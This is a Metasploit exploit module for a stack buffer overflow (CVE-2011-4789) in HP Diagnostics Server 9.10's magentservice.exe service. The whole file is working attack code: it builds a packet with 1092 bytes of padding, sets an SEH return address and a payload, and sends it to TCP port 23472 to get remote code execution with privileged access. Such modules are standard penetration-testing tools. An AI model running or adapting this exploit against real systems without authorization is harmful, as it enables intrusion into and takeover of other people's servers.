##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP Diagnostics Server magentservice.exe Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in HP Diagnostics Server
        magentservice.exe service. By sending a specially crafted packet, an attacker
        may be able to execute arbitrary code. Originally found and posted by
        AbdulAziz Harir via ZDI.
      },
      'Author'         =>
        [
          'AbdulAziz Hariri', # Original discovery
          'hal',              # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '72815'],
          ['CVE', '2011-4789'],
          ['ZDI', '12-016']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'SSL' => true,
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'DefaultTarget'  => 0,
      'Targets'        =>
        [
          [
            'Diagnostics Server 9.10',
            {
              # pop esi # pop ebx # ret 10
              # magentservice.exe
              'Ret' => 0x780c8f1f
            }
          ]
        ],
      'DisclosureDate' => 'Jan 12 2012'))

      register_options([Opt::RPORT(23472)])
  end

  def exploit

    req =  "\x00\x00\x00\x00"
    req << rand_text_alpha_upper(1092)
    req << generate_seh_payload(target.ret)

    connect
    sock.put(req)

    handler
    disconnect

  end
end
